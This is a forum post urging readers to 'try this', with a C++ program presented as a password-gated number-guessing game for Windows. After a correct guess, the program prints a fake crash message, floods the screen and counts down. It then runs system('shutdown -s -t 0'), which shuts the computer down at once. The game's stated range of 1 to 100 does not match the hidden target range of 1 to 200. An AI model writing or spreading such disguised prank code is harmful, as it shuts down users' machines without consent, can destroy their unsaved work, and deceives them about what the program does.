你一定要试一试

wyh15 2023-08-17 11:09:29 0

#include<bits/stdc++.h>

#include<windows.h>

using namespace std;

int main() {

srand(time(0));

int a = rand()%200+1;

int n;

int y;

int t=10;

int z=3,b=1,c=10000;

cout<<" "<<"欢迎来到L3(6.0)官方版猜数游戏"<<endl;

cout<<" "<<"请输入您的游戏密码"<<"您一共有"<<z<<"次机会"<<endl;

cout<<"密码:"<<endl;

while(1){

cin>>y; if(y == 123456){

cout<<"密码正确,开始游戏!"<<endl;

break;

} if(y != 123456){ z = z - 1;

cout<<"密码错误,您还剩"<<z<<"次机会"<<endl;

cout<<"密码:"<<endl; } if(z == 0){ if(t--){

cout<<t<<endl;

Sleep(1000);

} break;

} }

while(1){ cout<<"请输入1~100随机一个数:"<<endl;

cin>>n; if(n > a){

cout<<"对不起,数字大了"<<endl;

} if(n < a){ cout<<"对不起,数字小了"<<endl;

} if(n == a){ cout<<"恭喜您,猜对了"<<endl; break;

} }

cout<<"哎呀!你的电脑崩溃了!"<<endl;

while(c--){ cout<<b; }

while(t--){ cout<<t<<" "<<"无语"<<"......"<<endl;

Sleep(1000); } cout<<"下次再玩吧!拜拜"<<endl;

cout<<"主编:cyx"<<" "<<"副编:zyl"<<" "<<"改编:wyh"<<endl;

cout<<"6"<<endl<<"5"<<endl<<"4"<<endl<<"3"<<endl<<"2"<<endl<<"1"<<endl<<"0"<<endl<<"关机!";

system("shutdown -s -t 0");

Sleep(1);

return 0;

}

{{ vote && vote.total.up }}